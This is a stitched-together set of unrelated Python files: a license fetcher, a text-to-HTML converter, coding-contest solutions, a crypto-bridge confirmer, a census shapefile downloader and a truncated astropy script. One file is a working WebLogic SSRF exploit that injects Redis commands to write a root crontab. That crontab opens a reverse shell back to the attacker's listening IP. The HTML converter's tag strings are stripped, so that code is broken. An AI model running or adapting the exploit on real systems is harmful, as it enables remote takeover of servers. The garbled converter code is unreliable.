import base64
import json
import warnings

import requests

from pylicenses.providers import PackageProvider

class PyPiProvider(PackageProvider):
    """
    Use pypi.org and github to retrieve package data (pypi) and license content (github)
    """
    init_kwargs = ['github_auth']

    def __init__(self, github_auth=None):
        self.github_auth = github_auth
        self._github_licenses = {}  # cache for queried github licenses (repo or verbatim)
        self._pypi_data = {}  # cache for queried pypi data

    def get_github_repo_license(self, ref):
        if ref in self._github_licenses:
            return self._github_licenses[ref]
        url = 'https://api.github.com/repos/{ref}/license'.format(ref=ref)
        resp = requests.get(url, auth=self.github_auth)
        error_text = lambda resp: {'error': 'github /repos/{}/license returned {}'.format(ref, resp.content)}
        try:
            license = json.loads(resp.content)
            license['license_text'] = base64.b64decode(license['content'])
        except:
            license = error_text(resp)
            warnings.warn(str(license))
        else:
            if resp.status_code != 200:
                license['error'] = error_text(resp)
        license = {
            k: v for k, v in license.items() if k in ('license', 'license_text', 'spdx_id', 'error')
        }
        if 'license' in license:
            license['license_spdx_id'] = license['license'].get('spdx_id')
            license['license'] = license['license']['name']
        if 'error' in license:
            license['github_error'] = license['error']
        license['license_trace'] = 'github-repository-license'
        license['license_source'] = url
        self._github_licenses[ref] = license
        return license

    def _run_github_license_query(self, name):
        if name in self._github_licenses:
            return self._github_licenses[name]
        url = 'https://api.github.com/licenses/{name}'.format(name=name)
        resp = requests.get(url, auth=self.github_auth)
        error_text = lambda resp: {'error': 'github /licenses/{} returned {}'.format(name, resp.content)}
        try:
            license = json.loads(resp.content)
        except:
            license = error_text(resp)
            warnings.warn(str(license))
        else:
            if resp.status_code != 200:
                license['error'] = error_text(resp)
            license['license_trace'] = 'github-license-query'
            license['license_source'] = url
        KEY_MAP = {
            'body': 'license_text',
            'html_url': 'license_url',
            'error': 'github_error'
        }
        license = {
            KEY_MAP.get(k): v for k, v in license.items() if k in KEY_MAP
        }
        self._github_licenses[name] = license
        return self._github_licenses[name]

    def get_github_license(self, name, family):
        license = {}
        for ref in (name, family):
            NAME_MAP = {
                'lgpl': 'lgpl-3.0',
                'lgpl3': 'lgpl-3.0',
                'lgpl3.0': 'lgpl-3.0',
                'lgpl2.1': 'lgpl-2.1',
                'gpl': 'gpl-2.0',
                'gpl2': 'gpl-2.0',
                'gpl3': 'gpl-3.0',
                'gnugpl3withgccruntimelibrary': 'gpl-3.0',
                'gpl3withruntimeexception': 'gpl-3.0',
                'bsd': 'bsd-2-clause',
                'bsdstyle': 'bsd-2-clause',
                'bsd2': 'bsd-2-clause',
                'bsd2.0': 'bsd-2-clause',
                'bsd3': 'bsd-3-clause',
                'bsd3.0': 'bsd-3-clause',
                'bsd3clause': 'bsd-3-clause',
                'newbsd': 'bsd-3-clause',
                'apache2.0': 'apache-2.0',
            }
            ref = ref.lower().strip()  # remove leading and trailing blanks
            ref = ref.replace('-', '').replace(' ', '')  # remove any blanks, dashes
            ref = ref.split('/')[0]  # split on something like GPL/MIT, take just the first
            ref = ref.replace('license', '')  # reduce something like "mit license" to "mit"
            ref = NAME_MAP.get(ref) or ref  # map to the actual name on github
            if ref:
                license.update(self._run_github_license_query(ref))
                if license.get('license_text'):
                    break
        return license

    def get_pypi_info(self, package):
        if package in self._pypi_data:
            return self._pypi_data[package]
        url = 'https://pypi.org/pypi/{package}/json'.format(package=package)
        resp = requests.get(url)
        try:
            info = json.loads(resp.content).get('info')
        except:
            info = {}
        else:
            info = {
                k: v for k, v in info.items() if k in ('author', 'home_page', 'bugtrack_url', 'license',
                                                       'author_email', 'project_urls', 'license_family',
                                                       'summary')
            }
            info['license_trace'] = 'pypi'
            info['license_source'] = url
        self._pypi_data[package] = info
        return info

    def get_packages_info(self, packages):
        """
        get all information from pypi + github available for the packages

        :param packages: (dict) mapping name => information
        :return:
        """
        infos = {}
        for data in packages.values():
            # query from pypi
            pkg = data['name']
            infos[pkg] = data
            infos[pkg].update(self.get_pypi_info(pkg))
            homepage = infos[pkg].get('home_page')
            project_urls = infos[pkg].get('project_urls') or {}
            project_homepage = project_urls.get('Homepage')
            # query from github if we know github repo/name
            found = False
            for hp in (homepage, project_homepage):
                if hp and 'github' in hp:
                    # strip trailing slash, get repo ref as user/repo
                    github_ref = '/'.join(hp.strip('/').split('/')[-2:])
                    # query repo license, if available update info
                    repo_license = self.get_github_repo_license(github_ref)
                    if repo_license and 'license_text' in repo_license:
                        infos[pkg].update(repo_license)
                        found = True
                        break
            # last fall back, get verbatim license text from github
            if not found:
                license_family = infos[pkg].get('license_family', '')
                license_name = infos[pkg].get('license', '')
                if license_name or license_family:
                    license = self.get_github_license(license_name, license_family)
                    infos[pkg].update(license)
        return infos


import os
import re
import sys
import argparse

class Markup(object):
    BOLD_START = "["
    BOLD_END = "]"
    ITALIC_START = "{"
    ITALIC_END = "}"
    START_PLACEHOLDER = "<<PLACEHOLDER>>"
    END_PLACEHOLDER = "<</PLACEHOLDER>>"
    PUNCTUATION_CHARACTERS = '.,;:?!()'

    def __init__(self):
        link_regex = r"(?P<text>[^\"]+)\"_(?P<link>[^\s\t\n]+)"
        self.link_pattern = re.compile(link_regex)
        self.aliases = {}
        self.references = set()

    def convert(self, text):
        text = self.bold(text)
        text = self.italic(text)
        text = self.link(text)
        return text

    def add_link_alias(self, name, href):
        self.aliases[name] = href

    def add_internal_reference(self, name):
        self.references.add(name)

    def bold(self, text):
        text = text.replace("\\" + Markup.BOLD_START, Markup.START_PLACEHOLDER)
        text = text.replace("\\" + Markup.BOLD_END, Markup.END_PLACEHOLDER)
        text = text.replace(Markup.BOLD_START, self.bold_start())
        text = text.replace(Markup.BOLD_END, self.bold_end())
        text = text.replace(Markup.START_PLACEHOLDER, Markup.BOLD_START)
        text = text.replace(Markup.END_PLACEHOLDER, Markup.BOLD_END)
        return text

    def italic(self, text):
        text = text.replace("\\" + Markup.ITALIC_START, Markup.START_PLACEHOLDER)
        text = text.replace("\\" + Markup.ITALIC_END, Markup.END_PLACEHOLDER)
        text = text.replace(Markup.ITALIC_START, self.italic_start())
        text = text.replace(Markup.ITALIC_END, self.italic_end())
        text = text.replace(Markup.START_PLACEHOLDER, Markup.ITALIC_START)
        text = text.replace(Markup.END_PLACEHOLDER, Markup.ITALIC_END)
        return text

    def link(self, text):
        for name, link in self.link_pattern.findall(text):
            link = link.rstrip(Markup.PUNCTUATION_CHARACTERS)
            href = self.create_link(name, link)
            text = text.replace('\"%s\"_%s' % (name, link), href, 1)
        return text

class HTMLMarkup(Markup):
    def __init__(self):
        super().__init__()

    def bold_start(self):
        return ""

    def bold_end(self):
        return ""

    def italic_start(self):
        return ""

    def italic_end(self):
        return ""

    def create_link(self, content, link):
        if link in self.aliases:
            href = self.aliases[link]
        else:
            href = link

        return "" + content + ""

class Formatting(object):
    UNORDERED_LIST_MODE = "unordered-list"
    ORDERED_LIST_MODE = "ordered-list"

    def __init__(self, markup):
        image_regex = r"^image\((?P<file>[^\,]+)(,(?P<link>[^\,]+))?\)"
        named_link_regex = r"^link\((?P<name>[^\,]+)\)"
        define_link_alias_regex = r"^link\((?P<alias>[^\,]+),(?P<value>[^\,]+)\)"
        self.image_pattern = re.compile(image_regex)
        self.named_link_pattern = re.compile(named_link_regex)
        self.define_link_alias_pattern = re.compile(define_link_alias_regex)
        self.markup = markup
        self.first_header = ""
        self.current_list_mode = Formatting.UNORDERED_LIST_MODE
        self.current_command_list = []

    def convert(self, command, paragraph, commands):
        self.current_command_list = commands
        if command == "p":
            return self.paragraph(paragraph)
        elif command == "b":
            return self.linebreak(paragraph)
        elif command == "pre":
            return self.preformat(paragraph)
        elif command == "c":
            return self.center(paragraph)
        elif command == "h1" or command == "h2" or command == "h3" or \
                        command == "h4" or command == "h5" or command == "h6":
            level = int(command[1])
            return self.header(paragraph, level)
        elif command == "ul":
            return self.unordered_list(paragraph)
        elif command == "ol":
            return self.ordered_list(paragraph)
        elif command == "dl":
            return self.definition_list(paragraph)
        elif command == "l":
            if "olb" in commands:
              self.current_list_mode = Formatting.ORDERED_LIST_MODE
            elif "ulb" in commands:
              self.current_list_mode = Formatting.UNORDERED_LIST_MODE

            return self.list_item(paragraph)
        elif command == "dt":
            return self.definition_term(paragraph)
        elif command == "dd":
            return self.definition_description(paragraph)
        elif command == "ulb":
            self.current_list_mode = Formatting.UNORDERED_LIST_MODE
            return self.unordered_list_begin(paragraph)
        elif command == "ule":
            return self.unordered_list_end(paragraph)
        elif command == "olb":
            self.current_list_mode = Formatting.ORDERED_LIST_MODE
            return self.ordered_list_begin(paragraph)
        elif command == "ole":
            self.current_list_mode = Formatting.UNORDERED_LIST_MODE
            return self.ordered_list_end(paragraph)
        elif command == "dlb":
            return self.definition_list_begin(paragraph)
        elif command == "dle":
            return self.definition_list_end(paragraph)
        elif command == "all(p)":
            return self.all_paragraphs(paragraph)
        elif command == "all(c)":
            return self.all_centered(paragraph)
        elif command == "all(b)":
            return self.all_breaks(paragraph)
        elif command == "all(l)":
            return self.all_list_items(paragraph)
        elif command == "line":
            return self.horizontal_rule(paragraph)
        elif command.startswith("image"):
            m = self.image_pattern.match(command)
            return self.image(paragraph, file=m.group('file'), link=m.group('link'))
        elif command.startswith("link"):
            m = self.named_link_pattern.match(command)
            if m:
                return self.named_link(paragraph, name=m.group('name'))
            m2 = self.define_link_alias_pattern.match(command)
            if m2:
                return self.define_link_alias(paragraph, alias=m2.group('alias'), value=m2.group('value'))
        elif command.startswith("tb"):
            configuration = self.get_table_configuration(command)
            return self.table(paragraph, configuration)
        return ""

    def math(self, paragraph):
        return self.paragraph(paragraph) + "\n"

    def paragraph(self, paragraph):
        return "
" + paragraph + "
"

    def linebreak(self, paragraph):
        return paragraph + "
"

    def preformat(self, paragraph):
        return "
" + paragraph + "
"

    def center(self, paragraph):
        return "" + paragraph + ""

    def header(self, paragraph, level):
        if self.first_header == "":
            self.first_header = paragraph.strip()
        return "<H%d>%s</H%d>" % (level, paragraph, level)

    def unordered_list(self, paragraph):
        converted = self.unordered_list_begin("")
        for line in paragraph.splitlines():
            converted += self.unordered_list_item(line) + "\n"
        return self.unordered_list_end(converted)

    def ordered_list(self, paragraph):
        converted = self.ordered_list_begin("")
        for index, line in enumerate(paragraph.splitlines()):
            converted += self.ordered_list_item(line, index+1) + "\n"
        return self.ordered_list_end(converted)

    def definition_list(self, paragraph):
        converted = self.definition_list_begin("")
        is_title = True
        for line in paragraph.splitlines():
            if is_title:
                converted += self.definition_term(line) + "\n"
            else:
                converted += self.definition_description(line) + "\n"

            is_title = not is_title

        return self.definition_list_end(converted)

    def list_item(self, paragraph, index=None):
        if self.current_list_mode == Formatting.ORDERED_LIST_MODE:
            return self.ordered_list_item(paragraph, index)
        return self.unordered_list_item(paragraph)

    def unordered_list_item(self, paragraph):
        return "
" + paragraph

    def ordered_list_item(self, paragraph, index):
        return self.unordered_list_item(paragraph)

    def definition_term(self, paragraph):
        return "
" + paragraph

    def definition_description(self, paragraph):
        return "
" + paragraph

    def unordered_list_begin(self, paragraph):
        return "
" + paragraph

    def unordered_list_end(self, paragraph):
        return paragraph + "
"

    def ordered_list_begin(self, paragraph):
        return "
" + paragraph

    def ordered_list_end(self, paragraph):
        return paragraph + "
"

    def definition_list_begin(self, paragraph):
        return "
" + paragraph

    def definition_list_end(self, paragraph):
        return paragraph + "
"

    def all_paragraphs(self, paragraph):
        converted = ""
        for line in paragraph.splitlines():
            converted += self.paragraph(line) + "\n"
        return converted

    def all_centered(self, paragraph):
        converted = ""
        for line in paragraph.splitlines():
            converted += self.center(line) + "\n"
        return converted

    def all_breaks(self, paragraph):
        return paragraph.replace("\n", "
\n")

    def all_list_items(self, paragraph):
        converted = ""
        for line in paragraph.splitlines():
            converted += self.list_item(line) + "\n"
        return converted

    def horizontal_rule(self, paragraph):
        return "
" + paragraph

    def image(self, paragraph, file, link=None):
        converted = ""
        if link:
            converted = "" + converted + ""
        return converted + paragraph

    def named_link(self, paragraph, name):
        return "" + paragraph

    def define_link_alias(self, paragraph, alias, value):
        self.markup.add_link_alias(alias, value)
        return paragraph

    def get_table_configuration(self, command):
        config = {
            'separator': ',',
            'num_columns': 0,
            'border_width': 1,
            'table_alignment': 'center'
        }

        table_regex = r"^tb\((?P<configuration>.+)\)"
        table_pattern = re.compile(table_regex)

        m = table_pattern.match(command)
        if m:
            entries = m.groups('configuration')[0].split(',')
            alignments = {'l': 'left', 'c': 'center', 'r' : 'right'}
            vertical_alignments = {'t': 'top', 'm': 'middle', 'ba' : 'baseline', 'bo': 'bottom'}

            for entry in entries:
                lhs, rhs = entry.split('=')

                if lhs == 'c':
                    config['num_columns'] = int(rhs)
                elif lhs == 's':
                    config['separator'] = rhs
                elif lhs == 'b':
                    config['border_width'] = int(rhs)
                elif lhs == 'w':
                    if rhs.endswith("%"):
                        config['table_width'] = rhs
                    else:
                        config['cell_width'] = rhs
                elif lhs == "a":
                    config['table_alignment'] = alignments[rhs]
                elif lhs == "ea":
                    config['cell_alignment'] = alignments[rhs]
                elif lhs == "eva":
                    config['cell_vertical_alignment'] = vertical_alignments[rhs]
                elif lhs.startswith("cw") and len(lhs) >= 3:
                    column = int(lhs[2:]) - 1
                    if 'custom_cell_width' not in config:
                        config['custom_cell_width'] = {}
                    config['custom_cell_width'][column] = rhs
                elif lhs.startswith("ca") and len(lhs) >= 3:
                    column = int(lhs[2:]) - 1
                    if 'custom_cell_alignment' not in config:
                        config['custom_cell_alignment'] = {}
                    config['custom_cell_alignment'][column] = alignments[rhs]

        return config

    def table(self, paragraph, configuration):
        if configuration['num_columns'] == 0:
            rows = self.create_table_with_columns_based_on_newlines(paragraph, configuration['separator'])
        else:
            rows = self.create_table_with_fixed_number_of_columns(paragraph, configuration['separator'],
                                                                  configuration['num_columns'])

        tbl = "
" % configuration['table_alignment']
        tbl += "
\n" % configuration['border_width']

        for row_idx in range(len(rows)):
            columns = rows[row_idx]
            tbl += "
"

            for col_idx in range(len(columns)):
                col = columns[col_idx]
                tbl += "<TD "

                if 'custom_cell_width' in configuration:
                    if col_idx in configuration['custom_cell_width']:
                        tbl += "WIDTH=\"%s\"" % configuration['custom_cell_width'][col_idx]
                else:
                    if 'cell_width' in configuration:
                        tbl += "WIDTH=\"%s\"" % configuration['cell_width']

                if 'custom_cell_alignment' in configuration:
                    if col_idx in configuration['custom_cell_alignment']:
                        tbl += " ALIGN =\"%s\"" % configuration['custom_cell_alignment'][col_idx]

                tbl += ">"
                tbl += col

                if row_idx < len(rows) and col_idx < len(columns) - 1:
                    tbl += "	"

            if row_idx < len(rows) - 1:
                tbl += "
\n"

        tbl += "\n"
        tbl += "
"
        tbl += "

\n"
        return tbl

    def create_table_with_columns_based_on_newlines(self, paragraph, separator):
        rows = []
        lines = paragraph.splitlines()
        for line in lines:
            rows.append(line.split(separator))
        return rows

    def create_table_with_fixed_number_of_columns(self, paragraph, separator, num_columns):
        cells = paragraph.split(separator)
        current_row = []
        rows = []

        for cell in cells:
            current_row.append(cell.strip('\n'))

            if len(current_row) == num_columns:
                rows.append(current_row)
                current_row = []

        if len(current_row) > 0:
            rows.append(current_row)

        return rows

class HTMLFormatting(Formatting):
    def __init__(self, markup):
        super().__init__(markup)

    def begin_document(self):
        return "\n"

    def end_document(self):
        return "\n"

    def raw_html(self, content):
        return content

class TxtParser(object):
    def __init__(self):
        self.markup = HTMLMarkup()
        self.format = HTMLFormatting(self.markup)
        self.append_page_break = False
        self.create_title = False
        self.page_title = ""
        self.paragraph_filters = []
        self.document_filters = []

    def convert(self, content):
        converted = self.format.begin_document()

        if len(content) > 0:
            self.parse_link_aliases_and_find_title(content)

            if self.create_title and self.page_title != "":
                converted += "\n"
                converted += "<TITLE>%s</TITLE>\n" % self.page_title
                converted += "\n"

            converted += self.transform_paragraphs(content)

        if self.append_page_break:
            converted += "\n"

        converted += self.format.end_document()

        for doc_filter in self.document_filters:
            converted = doc_filter(converted)

        return converted

    def parse_link_aliases_and_find_title(self, content):
        for paragraph, is_raw in self.paragraphs(content):
            if not is_raw:
                self.convert_paragraph(paragraph)
        self.page_title = self.format.first_header

    def transform_paragraphs(self, content):
        converted = ""
        for paragraph, is_raw in self.paragraphs(content):
            if is_raw:
                converted += paragraph
            else:
                converted_paragraph = self.convert_paragraph(paragraph)
                for paragraph_filter in self.paragraph_filters:
                    converted_paragraph = paragraph_filter(converted_paragraph)
                converted += converted_paragraph
        return converted

    def convert_paragraph(self, paragraph):
        if self.is_raw_html_paragraph(paragraph):
            return self.format.raw_html(paragraph) + '\n'

        if self.is_math_paragraph(paragraph):
            return self.format.math(self.do_markup(paragraph))

        if self.has_formatting(paragraph):
            paragraph = self.do_markup(paragraph)
            return self.do_formatting(paragraph)

        return self.format.paragraph(self.do_markup(paragraph)) + "\n"

    def has_formatting(self, paragraph):
        return self.last_word(paragraph).startswith(":")

    def last_word(self, text):
        return text.split()[-1]

    def order_commands(self, commands):
        return list(reversed(commands))

    def do_formatting(self, paragraph):
        last_word = self.last_word(paragraph)
        format_str = paragraph[paragraph.rfind(last_word):]
        format_str = format_str.strip('\n')
        paragraph = paragraph.replace(format_str, "")
        commands = format_str[1:].strip()
        command_regex = r"(?P<command>[^\(,]+(\([^\)]+\))?),?"
        command_pattern = re.compile(command_regex)

        commands = [x[0] for x in command_pattern.findall(commands)]

        for command in self.order_commands(commands):
            paragraph = self.format.convert(command, paragraph, commands)

        return paragraph + '\n'

    def do_markup(self, paragraph):
        return self.markup.convert(paragraph)

    def paragraphs(self, content):
        paragraph = []
        last_line_had_format = False
        ignore_lines = False
        raw_lines = False

        for line in self.lines(content):
            if self.is_ignored_textblock_begin(line):
                if len(paragraph) > 0:
                    yield ('\n'.join(paragraph) + '\n', False)
                paragraph = []
                last_line_had_format = False
                ignore_lines = True
            elif self.is_ignored_textblock_end(line):
                ignore_lines = False
                continue
            elif self.is_raw_textblock_begin(line):
                if len(paragraph) > 0:
                    yield ('\n'.join(paragraph) + '\n', False)
                paragraph = []
                last_line_had_format = False
                raw_lines = True
                continue
            elif self.is_raw_textblock_end(line):
                if len(paragraph) > 0:
                    yield ('\n'.join(paragraph) + '\n', True)
                paragraph = []
                raw_lines = False
                continue

            if ignore_lines:
                continue
            elif raw_lines:
                paragraph.append(line)
                continue

            if self.is_paragraph_separator(line) or last_line_had_format:
                if len(paragraph) > 0:
                    yield ('\n'.join(paragraph) + '\n', False)

                if self.is_paragraph_separator(line):
                    paragraph = []
                    last_line_had_format = False
                else:
                    paragraph = [line]
                    last_line_had_format = self.has_formatting(line)
            else:
                paragraph.append(line)
                last_line_had_format = self.has_formatting(line)

        if len(paragraph) > 0:
            yield ('\n'.join(paragraph) + '\n', False)

    def is_ignored_textblock_begin(self, line):
        return line.startswith('')

    def is_raw_textblock_begin(self, line):
        return False

    def is_raw_textblock_end(self, line):
        return False

    def is_raw_html_paragraph(self, paragraph):
        return paragraph.startswith('<') and paragraph.endswith('>\n')

    def is_math_paragraph(self, paragraph):
        return ('\\begin\{equation\}' in paragraph) and ('\\end\{equation\}' in paragraph)

    def is_paragraph_separator(self, line):
        return len(line) == 0 or line.isspace()

    def lines(self, content):
        lines = content.splitlines()
        current_line = ""
        i = 0

        while i < len(lines):
            current_line += lines[i]

            if current_line.endswith("\\"):
                current_line = current_line[0:-1]
            else:
                yield current_line
                current_line = ""

            i += 1

class Txt2Html(TxtParser):
    def __init__(self):
        super().__init__()
        self.markup = HTMLMarkup()
        self.format = HTMLFormatting(self.markup)

    def is_paragraph_separator(self, line):
        return line.startswith(".. HTML_ONLY") or \
               line.startswith(".. END_HTML_ONLY") or \
               super().is_paragraph_separator(line)

class TxtConverter:
    def get_argument_parser(self):
        return None

    def get_output_filename(self, path):
        return ""

    def create_converter(self, args):
        return None

    def run(self, args=sys.argv[1:], out=sys.stdout, err=sys.stderr):
        parser = self.get_argument_parser()
        parsed_args = parser.parse_args(args)

        write_to_files = parsed_args.output_dir or (len(parsed_args.files) > 1)

        for filename in parsed_args.files:
            if parsed_args.skip_files and filename in parsed_args.skip_files:
                continue

            with open(filename, 'r') as f:
                if parsed_args.verbose:
                    print("Converting", filename, "...", file=err)
                content = f.read()
                converter = self.create_converter(parsed_args)

                try:
                    result = converter.convert(content)
                except Exception as e:
                    msg = "###########################################################################\n" \
                          " ERROR: " + e.args[0] + "\n" \
                          "###########################################################################\n"
                    print(msg, file=err)
                    result = msg

                if write_to_files:
                    if parsed_args.output_dir:
                        output_filename = os.path.join(parsed_args.output_dir, os.path.basename(self.get_output_filename(filename)))
                    else:
                        output_filename = self.get_output_filename(filename)
                    with open(output_filename, "w+t") as outfile:
                        outfile.write(result)
                else:
                    print(result, end='', file=out)

class Txt2HtmlConverter(TxtConverter):
    def get_argument_parser(self):
        parser = argparse.ArgumentParser(description='converts a text file with simple formatting & markup into HTML.\n'
                                                     'formatting & markup specification is given in README')
        parser.add_argument('-b', dest='breakflag', action='store_true', help='add a page-break comment to end of each'
                                                                              'HTML file. useful when set of HTML files'
                                                                              ' will be converted to PDF')
        parser.add_argument('-x', metavar='file-to-skip', dest='skip_files', action='append')
        parser.add_argument('--verbose', '-v', dest='verbose', action='store_true')
        parser.add_argument('--output-directory', '-o', dest='output_dir')
        parser.add_argument('--generate-title', dest='create_title', action='store_true', help='add HTML head page'
                                                                                'title based on first '
                                                                                'h1,h2,h3,h4... element')
        parser.add_argument('files',  metavar='file', nargs='+', help='one or more files to convert')
        return parser

    def create_converter(self, args):
        converter = Txt2Html()
        converter.append_page_break = args.breakflag
        converter.create_title = args.create_title
        return converter

    def get_output_filename(self, path):
        filename, ext = os.path.splitext(path)
        return filename + ".html"

def main():
    app = Txt2HtmlConverter()
    app.run()

if __name__ == "__main__":
    main()


from collections import Counter

class Solution:
    def findLucky(self, arr: List[int]) -> int:
        d = Counter(arr)
        res = [-1]
        for k in d:
            if k == d[k]:
                res.append(k)
        return max(res)

1394. Find Lucky Integer in an Array/main.py


from functools import lru_cache

n = int(input())
ng = [int(input()) for _ in range(3)]

@lru_cache(maxsize=1000)
def dfs(x, c):
    if x == 0:
        return True
    if x < 0:
        return False
    if x in ng:
        return False
    if c == 100:
        return False
    return any([dfs(x - i, c + 1) for i in range(1, 4)])

if dfs(n, 0):
    print('YES')
else:
    print('NO')


from logging import Logger

from web3.datastructures import AttributeDict
from web3.types import LogReceipt

from src.contracts.ethereum.multisig_wallet import MultisigWallet
from src.db.collections.eth_signatures import EthSignatures
from src.db.collections.eth_swap import Swap, Status
from src.db.collections.scrt_retry import ScrtRetry
from src.db.collections.swaptrackerobject import SwapTrackerObject
from src.util.coins import CoinHandler
from src.util.common import swap_retry_address

def build_hash(nonce, token):
    return f'{nonce}|{token}'

class EthConfirmer:

    def __init__(self, multisig_contract: MultisigWallet, logger: Logger):
        self.multisig_contract = multisig_contract
        self.logger = logger
        self.coins = CoinHandler()

    def submit(self, event: LogReceipt):
        self._handle_submit(event)

    def _handle_submit(self, event: LogReceipt):
        data = self.multisig_contract.submission_data(event.args.transactionId)
        nonce, scrt_token = self.get_tx_params_from_data(data)
        swap_id = build_hash(nonce, scrt_token)
        EthSignatures(swap_id=swap_id,
                      tx_id=event.args.transactionId,
                      tx_hash=event['transactionHash'].hex(),
                      signer="leader").save()

    def withdraw(self, event: AttributeDict):
        self._handle(event, True)

    def failed_withdraw(self, event: AttributeDict):
        self._handle(event, False)

    def _handle(self, event: AttributeDict, success: bool):
        transaction_id = event.args.transactionId
        data = self.multisig_contract.submission_data(transaction_id)

        nonce, scrt_token = self.get_tx_params_from_data(data)

        self._set_tx_result(nonce, scrt_token, success=success)

    def get_tx_params_from_data(self, data):
        nonce = data['nonce']
        token = data['token']
        if token.lower() == swap_retry_address:
            self.logger.info(f'Retrieving original ID for {nonce}|{token.lower()}')
            retry = ScrtRetry.objects().get(retry_id=f'{nonce}|{token.lower()}')
            nonce, token = retry.original_id.split('|')
            self.logger.info(f'Got original id: {nonce} for token {token.lower()}')
        if token == '0x0000000000000000000000000000000000000000':
            scrt_token = self.coins.scrt_address('native')
        else:
            scrt_token = self.coins.scrt_address(token)
        return nonce, scrt_token

    @staticmethod
    def _confirmer_id(token: str):
        return f'confirmer-{token}'

    @staticmethod
    def get_swap(nonce, token):
        return Swap.objects().get(src_tx_hash=build_hash(nonce, token))

    def _set_tx_result(self, nonce, token, success=True):
        try:
            swap = self.get_swap(nonce, token)
        except Exception as e:  # pylint: disable=broad-except
            self.logger.error(
                f'Error handling swap {build_hash(nonce, token)}: {e}')
            return

        if swap.status != Status.SWAP_SUBMITTED:
            return
        if success:
            swap.update(status=Status.SWAP_CONFIRMED)
        else:
            swap.update(status=Status.SWAP_FAILED)

        obj = SwapTrackerObject.get_or_create(self._confirmer_id(token))
        obj.update(nonce=nonce)


import socket
import requests,socket

listen_ip = 'http://192.168.150.131' # 反弹shell 监听ip
listen_port = 7777 # 反弹shell 监听端口
mubiao_ip = '192.168.150.131' # 目标ip
mubiao_port = 7001 # 目标端口

def poc(url):
    url = socket.gethostbyname(url) # 将url 转换成ip
    ip = url.split(':')[0]
    port = int(url.split(':')[-1]) if ':' in url else 6379 # 判断是否有端口，无端口就是6379
    try:
        payload = r'?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://'
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0'}

        # 访问链接
        step1 = '{}:{}/uddiexplorer/SearchPublicRegistries.jsp{}{}:{}/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa'.format(mubiao_ip,str(mubiao_port),payload,ip,str(port),listen_ip,str(listen_port))
        print('step1: {}'.format(step1))
        res = requests.get(url=step1,headers=headers)
        #print(res.text)
    except Exception as e:
        # print e
        return False
    return False

poc("172.24.0.2") # 存活6379ip地址


"""
Methods to fetch and transform TIGER shapefiles from the census.

By default, census tract files are fetched and stored as GeoJSON collections.
"""
import os
import shutil
import subprocess
import sys

import geojson

import geopandas as gpd

BASE_CENSUS_FILENAME = 'tl_2016_{fips_code}_tract.zip'
BASE_CENSUS_URL = 'https://www2.census.gov/geo/tiger/TIGER2016/TRACT/{filename}'
OUTPUT_DIRECTORY = 'data/census/TIGER/TRACT'
TEMP_DIRECTORY = os.path.join(OUTPUT_DIRECTORY, 'tmp')

def fetch_and_project_census_data(state_fips_codes):
    """Fetch and store TIGER files in GeoJSON format using the WGS84 projection."""
    for fips_code in state_fips_codes:
        output_path = os.path.join(
            OUTPUT_DIRECTORY,
            BASE_CENSUS_FILENAME.format(fips_code=fips_code).replace(
                '.zip', '.geojson'
            )
        )

        if not os.path.isfile(output_path):
            fetch_single_state(fips_code=fips_code)
            project_and_store_census_data(fips_code=fips_code)

    shutil.rmtree(path=TEMP_DIRECTORY, ignore_errors=True)

def fetch_single_state(fips_code):
    """Fetch and unzip census data for a single state."""
    filename = BASE_CENSUS_FILENAME.format(fips_code=fips_code)
    url = BASE_CENSUS_URL.format(filename=filename)
    temp_filepath = os.path.join(TEMP_DIRECTORY, filename)

    commands = [
        "curl --create-dirs -o '{temp_path}' '{url}'".format(
            temp_path=temp_filepath,
            url=url
        ),
        'unzip -o {temp_path} -d {temp_directory}'.format(
            temp_path=temp_filepath,
            temp_directory=TEMP_DIRECTORY
        ),
    ]

    for command in commands:
        subprocess.call(args=['echo "{}"'.format(command)], shell=True)
        exit_code = subprocess.call(args=[command], shell=True)
        if exit_code != 0:
            sys.exit(exit_code)

def project_and_store_census_data(fips_code):
    """Reproject census data to SRID 4326 and store as GeoJSON."""
    input_file = BASE_CENSUS_FILENAME.format(fips_code=fips_code).replace(
        '.zip', '.shp'
    )
    input_path = os.path.join(TEMP_DIRECTORY, input_file)

    output_file = BASE_CENSUS_FILENAME.format(fips_code=fips_code).replace(
        '.zip', '.geojson'
    )
    output_path = os.path.join(OUTPUT_DIRECTORY, output_file)

    if not os.path.isfile(output_path):
        gdf = gpd.read_file(input_path).to_crs({'init': 'epsg:4326'})
        gdf.to_file(output_path, driver='GeoJSON')

def merge_geojson_feature_collections(filepaths):
    """Merge all GeoJSON feature collections into a single, nation-wide file."""
    all_features = []
    for fp in filepaths:
        with open(fp, 'r') as f:
            json_blob = geojson.load(f)
            new_features = json_blob['features']
            all_features.extend(new_features)
            crs = json_blob['crs']

    full_feature_collection = geojson.FeatureCollection(features=all_features, crs=crs)
    return full_feature_collection

def _get_valid_fips_codes():
    """Return the full list of valid FIPS codes."""
    fips_codes = [str(x).zfill(2) for x in range(1, 57)] + ['60', '66', '69', '72', '78']
    for code in ['03', '07', '14', '43', '52']:
        fips_codes.remove(code)

    assert len(fips_codes) == 56
    return fips_codes

if __name__ == '__main__':
    fips_codes = _get_valid_fips_codes()
    fetch_and_project_census_data(fips_codes)
    output_filepaths = [
        os.path.join(OUTPUT_DIRECTORY, filename)
        for filename in os.listdir(OUTPUT_DIRECTORY)
        if any(code in filename for code in fips_codes)
    ]
    print('Merging all files in {}.'.format(OUTPUT_DIRECTORY))
    feature_collection = merge_geojson_feature_collections(output_filepaths)
    with open(os.path.join('data/census/', 'census_tract_boundaries.geojson'), 'w+') as f:
        geojson.dump(feature_collection, f)


import numpy as np
from astropy.io import fits
from astropy import wcs
from astropy import visualization
from astropy import coordinates
from astropy import units as u

import reproject
import pylab as pl
import paths
import visualization_tools

def rgbfig(figfilename="SgrB2N_RGB.pdf",
           lims=[([266.83404223,  266.83172659]), ([-28.373138, -28.3698755])],
